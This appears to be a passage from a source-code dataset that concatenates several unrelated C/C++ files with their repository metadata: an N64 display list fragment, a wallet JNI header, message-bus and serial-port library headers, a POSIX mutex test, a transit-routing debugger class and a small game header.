G_TX_RENDERTILE, G_ON), gsDPTileSync(), gsDPSetTile(G_IM_FMT_RGBA, G_IM_SIZ_16b, 8, 0, G_TX_RENDERTILE, 0, G_TX_WRAP | G_TX_NOMIRROR, 4, G_TX_NOLOD, G_TX_WRAP | G_TX_NOMIRROR, 5, G_TX_NOLOD), gsDPSetTileSize(0, 0, 0, (32 - 1) << G_TEXTURE_IMAGE_FRAC, (16 - 1) << G_TEXTURE_IMAGE_FRAC), gsSPDisplayList(checkerboard_platform_seg8_dl_0800D5C0), gsDPTileSync(), gsDPSetTile(G_IM_FMT_RGBA, G_IM_SIZ_16b, 8, 0, G_TX_RENDERTILE, 0, G_TX_WRAP | G_TX_NOMIRROR, 5, G_TX_NOLOD, G_TX_WRAP | G_TX_NOMIRROR, 5, G_TX_NOLOD), gsDPSetTileSize(0, 0, 0, (32 - 1) << G_TEXTURE_IMAGE_FRAC, (32 - 1) << G_TEXTURE_IMAGE_FRAC), gsSPDisplayList(checkerboard_platform_seg8_dl_0800D618), gsSPTexture(0xFFFF, 0xFFFF, 0, G_TX_RENDERTILE, G_OFF), gsDPPipeSync(), gsDPSetCombineMode(G_CC_SHADE, G_CC_SHADE), gsSPSetGeometryMode(G_SHADING_SMOOTH), gsSPEndDisplayList(), };
52.323232
173
0.60444
3c46939b02afcd9f5a12218ac214c2d425513afd
2,350
h
C
app/src/main/jni/org_ritocoin_aw_core_BRCoreMasterPubKey.h
farsider350/ritocoin-android
9b061c34eaf846992996516c69878fbddee0e70c
[ "MIT" ]
null
null
null
app/src/main/jni/org_ritocoin_aw_core_BRCoreMasterPubKey.h
farsider350/ritocoin-android
9b061c34eaf846992996516c69878fbddee0e70c
[ "MIT" ]
null
null
null
app/src/main/jni/org_ritocoin_aw_core_BRCoreMasterPubKey.h
farsider350/ritocoin-android
9b061c34eaf846992996516c69878fbddee0e70c
[ "MIT" ]
3
2019-06-28T13:00:48.000Z
2020-05-17T13:58:37.000Z
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class org_ritocoin_aw_core_BRCoreMasterPubKey */ #ifndef _Included_org_ritocoin_aw_core_BRCoreMasterPubKey #define _Included_org_ritocoin_aw_core_BRCoreMasterPubKey #ifdef __cplusplus extern "C" { #endif /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: serialize * Signature: ()[B */ JNIEXPORT jbyteArray JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_serialize (JNIEnv *, jobject); /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: getPubKey * Signature: ()[B */ JNIEXPORT jbyteArray JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_getPubKey (JNIEnv *, jobject); /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: createPubKey * Signature: ()J */ JNIEXPORT jlong JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_createPubKey (JNIEnv *, jobject); /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: createJniCoreMasterPubKeyFromPhrase * Signature: ([B)J */ JNIEXPORT jlong JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_createJniCoreMasterPubKeyFromPhrase (JNIEnv *, jclass, jbyteArray); /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: createJniCoreMasterPubKeyFromSerialization * Signature: ([B)J */ JNIEXPORT jlong JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_createJniCoreMasterPubKeyFromSerialization (JNIEnv *, jclass, jbyteArray); /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: bip32BitIDKey * Signature: ([BILjava/lang/String;)[B */ JNIEXPORT jbyteArray JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_bip32BitIDKey (JNIEnv *, jclass, jbyteArray, jint, jstring); /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: validateRecoveryPhrase * Signature: ([Ljava/lang/String;Ljava/lang/String;)Z */ JNIEXPORT jboolean JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_validateRecoveryPhrase (JNIEnv *, jclass, jobjectArray, jstring); /* * Class: org_ritocoin_aw_core_BRCoreMasterPubKey * Method: generatePaperKey * Signature: ([B[Ljava/lang/String;)[B */ JNIEXPORT jbyteArray JNICALL Java_org_ritocoin_aw_core_BRCoreMasterPubKey_generatePaperKey (JNIEnv *, jclass, jbyteArray, jobjectArray); #ifdef __cplusplus } #endif #endif
30.128205
111
0.790638
cf5310e4ce742026c8725834c212d0229bcf9e82
6,531
h
C
lib/msgbus/messagebus.h
romainreignier/robot-software
9cd2ffedb5dec99e913d77b8b58b24d451510632
[ "MIT" ]
null
null
null
lib/msgbus/messagebus.h
romainreignier/robot-software
9cd2ffedb5dec99e913d77b8b58b24d451510632
[ "MIT" ]
null
null
null
lib/msgbus/messagebus.h
romainreignier/robot-software
9cd2ffedb5dec99e913d77b8b58b24d451510632
[ "MIT" ]
null
null
null
#ifndef MESSAGEBUS_H #define MESSAGEBUS_H #ifdef __cplusplus extern "C" { #endif #include <unistd.h> #include <stdbool.h> #define TOPIC_NAME_MAX_LENGTH 64 typedef struct topic_s { void *buffer; size_t buffer_len; void *lock; void *condvar; char name[TOPIC_NAME_MAX_LENGTH + 1]; bool published; struct messagebus_watcher_s *watchers; struct topic_s *next; void *metadata; } messagebus_topic_t; typedef struct { struct { messagebus_topic_t *head; } topics; struct messagebus_new_topic_cb_s *new_topic_callback_list; void *lock; void *condvar; } messagebus_t; typedef struct messagebus_watchgroup_s { void *lock; void *condvar; messagebus_topic_t *published_topic; } messagebus_watchgroup_t; typedef struct messagebus_watcher_s { messagebus_watchgroup_t *group; struct messagebus_watcher_s *next; } messagebus_watcher_t; typedef struct messagebus_new_topic_cb_s { void (*callback)(messagebus_t *, messagebus_topic_t *, void *); void *callback_arg; struct messagebus_new_topic_cb_s *next; } messagebus_new_topic_cb_t; #define MESSAGEBUS_TOPIC_FOREACH(_bus, _topic_var_name) \ for (int __control = -1; __control < 2; __control++) \ if (__control < 0) { \ messagebus_lock_acquire((_bus)->lock); \ } else if (__control > 0) { \ messagebus_lock_release((_bus)->lock); \ } else \ for (messagebus_topic_t *(_topic_var_name) = (_bus)->topics.head; \ topic != NULL; \ (_topic_var_name) = (_topic_var_name)->next) /** Initializes a topic object * * @parameter [in] topic The topic object to create. * @parameter [in] buffer,buffer_len The buffer where the topic messages will * @parameter [in] topic_lock The lock to use for this topic. * @parameter [in] topic_condvar The condition variable to use for this topic. * be stored. */ void messagebus_topic_init(messagebus_topic_t *topic, void *topic_lock, void *topic_condvar, void *buffer, size_t buffer_len); /** Initializes a new message bus with no topics. * * @parameter [in] bus The messagebus to init. * @parameter [in] lock The lock to use for this bus. * @parameter [in] condvar The condition variable used to signal threads * waiting on this bus. */ void messagebus_init(messagebus_t *bus, void *lock, void *condvar); /** Initializes the presence of the topic on the bus. * * @parameter [in] bus The bus on which the topic must be advertised. * @parameter [in] topic The topic object to advertise. * @parameter [in] name The topic name, used to refer to it from the rest * of the application. * * @note The topic name will be truncated to TOPIC_NAME_MAX_LENGTH characters. */ void messagebus_advertise_topic(messagebus_t *bus, messagebus_topic_t *topic, const char *name); /** Finds a topic on the bus. * * @parameter [in] bus The bus to scan. * @parameter [in] name The name of the topic to search. * * @return A pointer to the topic if it is found, NULL otherwise. */ messagebus_topic_t *messagebus_find_topic(messagebus_t *bus, const char *name); /** Waits until a topic is found on the bus. * * @parameter [in] bus The bus to scan. * @parameter [in] name The name of the topic to search. */ messagebus_topic_t *messagebus_find_topic_blocking(messagebus_t *bus, const char *name); /** Publish a topics on the bus. * * @parameter [in] topic A pointer to the topic to publish. * @parameter [in] buf Pointer to a buffer containing the data to publish. * @parameter [in] buf_len Length of the data buffer. * * @warning If the buffer is too big to fit in the topic, no message is sent and * false is returned. * @returns True if successful, otherwise. */ bool messagebus_topic_publish(messagebus_topic_t *topic, const void *buf, size_t buf_len); /** Reads the content of a single topic. * * @parameter [in] topic A pointer to the topic to read. * @parameter [out] buf Pointer where the read data will be stored. * @parameter [out] buf_len Length of the buffer. * * @returns true if the topic was published on at least once. * @returns false if the topic was never published to */ bool messagebus_topic_read(messagebus_topic_t *topic, void *buf, size_t buf_len); /** Wait for an update to be published on the topic. * * @parameter [in] topic A pointer to the topic to read. * @parameter [out] buf Pointer where the read data will be stored. * @parameter [out] buf_len Length of the buffer. */ void messagebus_topic_wait(messagebus_topic_t *topic, void *buf, size_t buf_len); /** Initializes a watch group. * * Watch group are used to wait on a set of topics in parallel (similar to * select(2) on UNIX). Each watchgroup has a lock and condition variable * associated to it. * * @parameter [in] lock The lock to use for this group. * @parameter [in] condvar The condition variable to use for this group. */ void messagebus_watchgroup_init(messagebus_watchgroup_t *group, void *lock, void *condvar); /** Adds a topic to a given group. * * @warning Removing a watchgroup is not supported for now. */ void messagebus_watchgroup_watch(messagebus_watcher_t *watcher, messagebus_watchgroup_t *group, messagebus_topic_t *topic); messagebus_topic_t *messagebus_watchgroup_wait(messagebus_watchgroup_t *group); /** Registers a callback that will trigger when a new topic is advertised on * the bus. */ void messagebus_new_topic_callback_register(messagebus_t *bus, messagebus_new_topic_cb_t *cb, void (*cb_fun)(messagebus_t *, messagebus_topic_t *, void *), void *arg); /** @defgroup portable Portable functions, platform specific. * @{*/ /** Acquire a reentrant lock (mutex). */ extern void messagebus_lock_acquire(void *lock); /** Release a lock previously acquired by messagebus_lock_acquire. */ extern void messagebus_lock_release(void *lock); /** Signal all tasks waiting on the given condition variable. */ extern void messagebus_condvar_broadcast(void *var); /** Wait on the given condition variable. */ extern void messagebus_condvar_wait(void *var); /** @} */ #ifdef __cplusplus } #include "messagebus_cpp.hpp" #endif #endif
33.492308
96
0.684122
5cf2a434a23f263243b9f0fc016b312490ce1467
5,238
h
C
serialib.h
DeSimone-Lab/CLIP3DPrinterGUI
14b857d4d93ab5f68734a9711e405e80ae46d744
[ "MIT" ]
null
null
null
serialib.h
DeSimone-Lab/CLIP3DPrinterGUI
14b857d4d93ab5f68734a9711e405e80ae46d744
[ "MIT" ]
null
null
null
serialib.h
DeSimone-Lab/CLIP3DPrinterGUI
14b857d4d93ab5f68734a9711e405e80ae46d744
[ "MIT" ]
null
null
null
/*! \file serialib.h \brief Header file of the class serialib. This class is used for communication over a serial device. \author Philippe Lucidarme (University of Angers) \version 2.0 \date december the 27th of 2019 This Serial library is used to communicate through serial port. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. This is a licence-free software, it can be used by anyone who try to build a better world. */ #ifndef SERIALIB_H #define SERIALIB_H // Used for TimeOut operations //#include <sys/time.h> #include <time.h> // Include for windows #if defined (_WIN32) || defined (_WIN64) // Accessing to the serial port under Windows #include <windows.h> #endif // Include for Linux #ifdef __linux__ #include <stdlib.h> #include <sys/types.h> #include <sys/shm.h> #include <termios.h> #include <string.h> #include <iostream> // File control definitions #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #endif /*! To avoid unused parameters */ #define UNUSED(x) (void)(x) /*! \class serialib \brief This class is used for communication over a serial device. */ class serialib { public: //_____________________________________ // ::: Constructors and destructors ::: // Constructor of the class serialib (); // Destructor ~serialib (); //_________________________________________ // ::: Configuration and initialization ::: // Open a device char openDevice (const char *Device,const unsigned int Bauds); // Close the current device void closeDevice(); //___________________________________________ // ::: Read/Write operation on characters ::: // Write a char char writeChar (char); // Read a char (with timeout) char readChar (char *pByte,const unsigned int timeOut_ms=0); //________________________________________ // ::: Read/Write operation on strings ::: // Write a string char writeString (const char *String); // Read a string (with timeout) int readString ( char *receivedString, char finalChar, unsigned int maxNbBytes, const unsigned int timeOut_ms=0); // _____________________________________ // ::: Read/Write operation on bytes ::: // Write an array of bytes char writeBytes (const void *Buffer, const unsigned int NbBytes); // Read an array of byte (with timeout) int readBytes (void *buffer,unsigned int maxNbBytes,const unsigned int timeOut_ms=0, unsigned int sleepDuration_us=100); // _________________________ // ::: Special operation ::: // Empty the received buffer char flushReceiver(); // Return the number of bytes in the received buffer int available(); // _________________________ // ::: Access to IO bits ::: // Set CTR status (Data Terminal Ready, pin 4) bool DTR(bool status); bool setDTR(); bool clearDTR(); // Set RTS status (Request To Send, pin 7) bool RTS(bool status); bool setRTS(); bool clearRTS(); // Get RI status (Ring Indicator, pin 9) bool isRI(); // Get DCD status (Data Carrier Detect, pin 1) bool isDCD(); // Get CTS status (Clear To Send, pin 8) bool isCTS(); // Get DSR status (Data Set Ready, pin 9) bool isDSR(); // Get RTS status (Request To Send, pin 7) bool isRTS(); // Get CTR status (Data Terminal Ready, pin 4) bool isDTR(); private: // Read a string (no timeout) int readStringNoTimeOut (char *String,char FinalChar,unsigned int MaxNbBytes); // Current DTR and RTS state (can't be read on WIndows) bool currentStateRTS; bool currentStateDTR; #if defined (_WIN32) || defined( _WIN64) // Handle on serial device HANDLE hSerial; // For setting serial port timeouts COMMTIMEOUTS timeouts; #endif #ifdef __linux__ int fd; #endif }; /*! \class timeOut \brief This class can manage a timer which is used as a timeout. */ // Class timeOut class timeOut { public: // Constructor timeOut(); // Init the timer void initTimer(); // Return the elapsed time since initialization unsigned long int elapsedTime_ms(); private: // Used to store the previous time (for computing timeout) struct timeval previousTime; }; #endif // serialib_H
23.701357
131
0.615502
a9eb822501a1b660aa16c78913ce1b4a3e72d2e5
1,794
c
C
Openharmony v1.0/third_party/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-2.c
clkbit123/TheOpenHarmony
0e6bcd9dee9f1a2481d762966b8bbd24baad6159
[ "MIT" ]
1
2022-02-15T08:51:55.000Z
2022-02-15T08:51:55.000Z
hihope_neptune-oh_hid/00_src/v0.3/third_party/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-2.c
dawmlight/vendor_oh_fun
bc9fb50920f06cd4c27399f60076f5793043c77d
[ "Apache-2.0" ]
null
null
null
hihope_neptune-oh_hid/00_src/v0.3/third_party/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutexattr_getpshared/1-2.c
dawmlight/vendor_oh_fun
bc9fb50920f06cd4c27399f60076f5793043c77d
[ "Apache-2.0" ]
null
null
null
/* * Copyright (c) 2002, Intel Corporation. All rights reserved. * Created by: bing.wei.liu REMOVE-THIS AT intel DOT com * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this * source tree. * Test that pthread_mutexattr_getpshared() * * It shall obtain the value of the process-shared attribute from 'attr'. * * Steps: * 1. Initialize a pthread_mutexattr_t object with pthread_mutexattr_init() * 2. Set 'pshared' of the object to PTHREAD_PROCESS_SHARED. * 3. Call pthread_mutexattr_getpshared() to check if the process-shared * attribute is set as PTHREAD_PROCESS_SHARED. * */ #include <pthread.h> #include <stdio.h> #include <errno.h> #include "posixtest.h" int main(void) { /* Make sure there is process-shared capability. */ #ifndef PTHREAD_PROCESS_SHARED fprintf(stderr, "process-shared attribute is not available for testing\n"); return PTS_UNRESOLVED; #endif pthread_mutexattr_t mta; int ret; int pshared; /* Initialize a mutex attributes object */ if (pthread_mutexattr_init(&mta) != 0) { perror("Error at pthread_mutexattr_init()\n"); return PTS_UNRESOLVED; } /* Set 'pshared' to PTHREAD_PROCESS_SHARED. */ ret = pthread_mutexattr_setpshared(&mta, PTHREAD_PROCESS_SHARED); if (ret != 0) { printf("Error in pthread_mutexattr_setpshared(), error: %d\n", ret); return PTS_UNRESOLVED; } /* Get 'pshared'. */ if (pthread_mutexattr_getpshared(&mta, &pshared) != 0) { fprintf(stderr, "Error obtaining the attribute process-shared\n"); return PTS_UNRESOLVED; } if (pshared != PTHREAD_PROCESS_SHARED) { printf("Test FAILED: Incorrect pshared value: %d\n", pshared); return PTS_FAIL; } printf("Test PASSED\n"); return PTS_PASS; }
26.382353
76
0.719064
ecf292edb7efb07daa905430c64a3dd44b5e3eb8
5,987
h
C
Algorithms/CSA/Debugger.h
phidra/ULTRA
d3de3dbbbd651ee8279dd605e6d8f73365c81735
[ "MIT" ]
14
2019-07-13T10:53:45.000Z
2022-03-18T11:06:32.000Z
Algorithms/CSA/Debugger.h
phidra/ULTRA
d3de3dbbbd651ee8279dd605e6d8f73365c81735
[ "MIT" ]
1
2021-02-04T12:16:02.000Z
2021-02-04T12:16:02.000Z
Algorithms/CSA/Debugger.h
phidra/ULTRA
d3de3dbbbd651ee8279dd605e6d8f73365c81735
[ "MIT" ]
8
2019-10-24T05:23:24.000Z
2021-08-29T08:30:12.000Z
/********************************************************************************** Copyright (c) 2019 Jonas Sauer MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. **********************************************************************************/ #pragma once #include <iostream> #include <iomanip> #include <vector> #include <string> #include "../../DataStructures/CSA/Data.h" #include "../../Helpers/Types.h" #include "../../Helpers/Timer.h" #include "../../Helpers/String/String.h" namespace CSA { class NoDebugger { public: inline void initialize() const noexcept {} inline void initialize(const Data&) const noexcept {} inline void start() const noexcept {} inline void done() const noexcept {} inline void startClear() const noexcept {} inline void doneClear() const noexcept {} inline void startInitialization() const noexcept {} inline void doneInitialization() const noexcept {} inline void startConnectionScan() const noexcept {} inline void doneConnectionScan() const noexcept {} inline void scanConnection(const Connection&) const noexcept {} inline void relaxEdge(const Edge) const noexcept {}; inline void updateStopByTrip(const StopId, const int) const noexcept {} inline void updateStopByTransfer(const StopId, const int) const noexcept {} }; class TimeDebugger : public NoDebugger { public: inline void initialize() noexcept { totalTime = 0; clearTime = 0; initializationTime = 0; connectionScanTime = 0; scannedConnections = 0; relaxedTransfers = 0; updatedStopsByTrip = 0; updatedStopsByTransfer = 0; } inline void initialize(const Data&) noexcept { initialize(); } inline void start() noexcept { initialize(); totalTimer.restart(); } inline void done() noexcept { totalTime = totalTimer.elapsedMicroseconds(); printStatistics(); } inline void startClear() noexcept { phaseTimer.restart(); } inline void doneClear() noexcept { clearTime = phaseTimer.elapsedMicroseconds(); } inline void startInitialization() noexcept { phaseTimer.restart(); } inline void doneInitialization() noexcept { initializationTime = phaseTimer.elapsedMicroseconds(); } inline void startConnectionScan() noexcept { phaseTimer.restart(); } inline void doneConnectionScan() noexcept { connectionScanTime = phaseTimer.elapsedMicroseconds(); } inline void scanConnection(const Connection&) noexcept { scannedConnections++; } inline void relaxEdge(const Edge) noexcept { relaxedTransfers++; } inline void updateStopByTrip(const StopId, const int) noexcept { updatedStopsByTrip++; } inline void updateStopByTransfer(const StopId, const int) noexcept { updatedStopsByTransfer++; } inline double getClearTime() const noexcept { return clearTime; } inline double getInitializationTime() const noexcept { return initializationTime; } inline double getConnectionScanTime() const noexcept { return connectionScanTime; } inline double getTotalTime() const noexcept { return totalTime; } inline size_t getNumberOfScannedConnections() const noexcept { return scannedConnections; } inline size_t getNumberOfRelaxedTransfers() const noexcept { return relaxedTransfers; } inline size_t getNumberOfUpdatedStopsByTrip() const noexcept { return updatedStopsByTrip; } inline size_t getNumberOfUpdatedStopsByTransfer() const noexcept { return updatedStopsByTransfer; } private: inline void printStatistics() const noexcept { std::cout << std::endl; std::cout << "Total time: " << String::musToString(totalTime) << std::endl; std::cout << "\tClear: " << String::musToString(clearTime) << std::endl; std::cout << "\tInitialization: " << String::musToString(initializationTime) << std::endl; std::cout << "\tConnection scan: " << String::musToString(connectionScanTime) << std::endl; std::cout << std::endl; std::cout << "Scanned connections: " << String::prettyInt(scannedConnections) << std::endl; std::cout << "Relaxed transfers: " << String::prettyInt(relaxedTransfers) << std::endl; std::cout << "Updated stops by trip: " << String::prettyInt(updatedStopsByTrip) << std::endl; std::cout << "Updated stops by transfer: " << String::prettyInt(updatedStopsByTransfer) << std::endl; std::cout << std::endl; } private: Timer totalTimer; double totalTime; Timer phaseTimer; double clearTime; double initializationTime; double connectionScanTime; size_t scannedConnections; size_t relaxedTransfers; size_t updatedStopsByTrip; size_t updatedStopsByTransfer; }; }
31.182292
128
0.668281
341c5cb76f5b2ef36cb073ad27e154c7e7e8949d
397
h
C
basicInfo.h
zero5two4/2019_Open_Source
1b24885b4bf015103cc8123e708d458066e665fb
[ "MIT" ]
5
2019-04-24T08:58:28.000Z
2020-02-08T18:05:03.000Z
basicInfo.h
JuhyeokLee97/2019_Open_Source
eaeda9ba08c1b8ee6ed4b96ce975743a1cc5bd21
[ "MIT" ]
26
2019-04-21T17:47:49.000Z
2019-06-17T04:05:32.000Z
basicInfo.h
JuhyeokLee97/2019_Open_Source
eaeda9ba08c1b8ee6ed4b96ce975743a1cc5bd21
[ "MIT" ]
1
2019-04-08T05:16:20.000Z
2019-04-08T05:16:20.000Z
#ifndef __BASICINFO_H__ #define __BASICINFO_H__ #define SIZE 4 #define TRUE 1 #define FALSE 0 #define EMPTY 0 enum directions { RIGHT, DOWN, LEFT, UP }; struct Square { int value; // 사용자에게 보여주는 data이다. int used; // 사용자에게 보여주는 data이다. };/*2차원 Matrix형태로 square배열이 만들어진다. square하나가 cell 하나와 같다고 생각하면 된다.*/ struct Pos { int x; int y; };/* 2차원 Matrix형태로 sqaure배열의 cell 위치 data를 갖는다. */ #endif
18.045455
68
0.710327